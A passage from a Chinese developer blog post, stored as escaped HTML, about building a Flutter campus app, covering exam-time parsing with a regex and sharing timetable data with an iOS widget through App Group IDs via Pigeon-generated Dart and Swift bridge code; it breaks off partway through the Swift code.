class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;timeEnd\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;15:00\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;campusNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;S\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;campusName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;buildingNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;B\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;buildingName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"kc\"\u003enull\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;classroomNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;B-312\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;classroomName\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;B-312\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;seatNo\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;45\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;timeNote\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;2022-03-17 13:00-15:00(星期四)\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nt\"\u003e\u0026#34;examTaskStatus\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;1\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e我利用的是 timeNote 来计算考试时间,毕竟\u003cdel\u003e代码迁移量小\u003c/del\u003e能用 RegExp 搞明白的事情,就不搞这么多东西。\n我只需要侦测开启时间就好,我们用这个正则表达式\u003ccode\u003e[0-9]{4}-[0-9]{2}-[0-9]{2} [0-9]{2}:[0-9]{2}\u003c/code\u003e就能提取开始时间,进而进行对比。\u003c/p\u003e\n\u003cp\u003e空闲教室请各位自行看代码吧,当时写到这里的时候接到了很多用户的崩溃报告,我直接弃疗,谁用这倒霉东西谁后悔我跟你们说。\u003c/p\u003e\n\u003ch2 id=\"安卓小部件和苹果小部件\"\u003e安卓小部件和苹果小部件\u003c/h2\u003e\n\u003cp\u003e首先,安卓小部件我是求别人写的,苹果部件是我写的。(Swift UI 是真的好写)\u003c/p\u003e\n\u003ch3 id=\"苹果的-groupid-机制\"\u003e苹果的 groupid 机制\u003c/h3\u003e\n\u003cp\u003e关于数据读取,安卓的好办,直接读就行了。但是苹果的就难办了。\u003c/p\u003e\n\u003cp\u003e简单来说,苹果的小部件是独立于主程序的,而苹果的沙盒机制导致了程序之间的数据是无法共享的。各位从 App Store 上面下载的程序,本质上是一个套件,里面包含了主程序和小部件程序。虽然小部件程序不能直接读主程序的数据,但是苹果大发慈悲地提供了一种名字叫\u003ccode\u003egroupid\u003c/code\u003e的机制,来使一个套件下面的数据能够共享。对于这个东西的介绍,可以阅读\u003ca class=\"link\" href=\"https://www.jianshu.com/p/a2d9ef58bad5\" target=\"_blank\" rel=\"noopener\"\n \u003e这个文章\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e我们需要共享的数据,主要是课表数据。所以我们需要把课表数据从主程序的区域复制一份到公共区域,而这里又涉及到调用原生端代码的问题,因为那些存储到公共区域的代码都是原生代码。这里我们需要提到\u003ca class=\"link\" href=\"https://pub.dev/packages/pigeon\" target=\"_blank\" rel=\"noopener\"\n \u003eFlutter 的 Pigeon 插件\u003c/a\u003e,通过这个插件,我们可以比较简单地访问到原生代码。具体使用这里不会说明,我主要介绍我在原生开放了啥接口。\u003c/p\u003e\n\u003cp\u003e这个接口需要获取一个\u003ccode\u003eappid\u003c/code\u003e组名称,一个文件名\u003ccode\u003efileName\u003c/code\u003e,文件里面的内容\u003ccode\u003edata\u003c/code\u003e(必须为纯文本)。同时需要实现一个函数\u003ccode\u003esaveToGroupId\u003c/code\u003e来实现保存到公共空间的功能。接下来展示的就是我给插件编写的模板接口文件,插件会根据这个文件生成用于访问该函数的类。顺便一提,这个文件不能放进\u003ccode\u003e/lib\u003c/code\u003e里面。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-dart\" data-lang=\"dart\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Copyright 2024 BenderBlog Rodriguez and contributors.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// SPDX-License-Identifier: MPL-2.0\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eimport\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;package:pigeon/pigeon.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eConfigurePigeon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ePigeonOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edartOut:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;lib/bridge/save_to_groupid.g.dart\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edartOptions:\u003c/span\u003e \u003cspan class=\"n\"\u003eDartOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eswiftOut:\u003c/span\u003e \u003cspan class=\"s1\"\u003e\u0026#39;ios/Runner/SaveToGroupID.g.swift\u0026#39;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eswiftOptions:\u003c/span\u003e \u003cspan class=\"n\"\u003eSwiftOptions\u003c/span\u003e\u003cspan class=\"p\"\u003e(),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecopyrightHeader:\u003c/span\u003e \u003cspan class=\"s2\"\u003e\u0026#34;pigeon_bridge/copyright_header.txt\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eFileToGroupID\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eFileToGroupID\u003c/span\u003e\u003cspan class=\"p\"\u003e({\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efileName\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003erequired\u003c/span\u003e \u003cspan class=\"k\"\u003ethis\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003eappid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003efileName\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eHostApi\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eabstract\u003c/span\u003e \u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eSaveToGroupIdSwiftApi\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eString\u003c/span\u003e \u003cspan class=\"n\"\u003egetHostLanguage\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"kd\"\u003easync\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003esaveToGroupId\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eFileToGroupID\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003eabstract\u003c/span\u003e \u003cspan class=\"kd\"\u003eclass\u003c/span\u003e \u003cspan class=\"nc\"\u003eSaveToGroupIdFlutterApi\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003ebool\u003c/span\u003e \u003cspan class=\"n\"\u003esaveToGroupId\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eFileToGroupID\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e接下来就需要在 iOS 端实现这个实现。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-swift\" data-lang=\"swift\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kd\"\u003efunc\u003c/span\u003e \u003cspan class=\"nf\"\u003esaveToGroupId\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eFileToGroupID\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003ecompletion\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eescaping\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eResult\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"nb\"\u003eBool\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eError\u003c/span\u003e\u003cspan class=\"p\"\u003e\u0026gt;)\u003c/span\u003e \u003cspan class=\"p\"\u003e-\u0026gt;\u003c/span\u003e \u003cspan class=\"nb\"\u003eVoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nv\"\u003efileManager\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eFileManager\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edo\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kd\"\u003elet\u003c/span\u003e \u003cspan class=\"nv\"\u003efileURL\u003c/span\u003e \u003cspan class=\"p\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eFileManager\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003econtainerURL\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eforSecurityApplicationGroupIdentifier\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eappid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e \u003cspan class=\"p\"\u003e==\u003c/span\u003e \u003cspan class=\"kc\"\u003enil\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ethrow\u003c/span\u003e \u003cspan class=\"n\"\u003eAppIdFailedError\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"bp\"\u003eprint\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e\\(\u003c/span\u003e\u003cspan class=\"nb\"\u003eString\u003c/span\u003e\u003cspan class=\"si\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edescribing\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e\u003cspan class=\"p\"\u003e?.\u003c/span\u003e\u003cspan class=\"n\"\u003eabsoluteString\u003c/span\u003e\u003cspan class=\"si\"\u003e))\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"n\"\u003efileManager\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efileExists\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eatPath\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e\u003cspan class=\"p\"\u003e!.\u003c/span\u003e\u003cspan class=\"n\"\u003eabsoluteString\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003etry\u003c/span\u003e\u003cspan class=\"p\"\u003e!\u003c/span\u003e \u003cspan class=\"n\"\u003efileManager\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eremoveItem\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eat\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e\u003cspan class=\"p\"\u003e!)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003etry\u003c/span\u003e \u003cspan class=\"n\"\u003eData\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eutf8\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ewrite\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eto\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003efileURL\u003c/span\u003e\u003cspan class=\"p\"\u003e!.\u003c/span\u003e\u003cspan class=\"n\"\u003eappendingPathComponent\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003edata\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003efileName\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eoptions\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"p\"\u003e[.\u003c/span\u003e\u003cspan class=\"n\"\u003eatomic\u003c/span\u003e\u003cspan class=\"p\"\u003e,]\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e \u003cspan class=\"k\"\u003eis\u003c/span\u003e \u003cspan class=\"n\"\u003eAppIdFailedError\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompletion\u003c/span\u003e\u003cspan class=\"p\"\u003e(.\u003c/span\u003e\u003cspan class=\"n\"\u003efailure\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eFlutterError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;AppIdFailedError\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;Can\u0026#39;t get the folder with appid\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;You should check whether your app group id spells wrong.\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)))\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e \u003cspan class=\"k\"\u003ecatch\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecompletion\u003c/span\u003e\u003cspan class=\"p\"\u003e(.\u003c/span\u003e\u003cspan class=\"n\"\u003efailure\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eFlutterError\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ecode\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;WriteFailedError\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003emessage\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"si\"\u003e\\(\u003c/span\u003e\u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"si\"\u003e)\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eerror\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003elocalizedDescription\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan 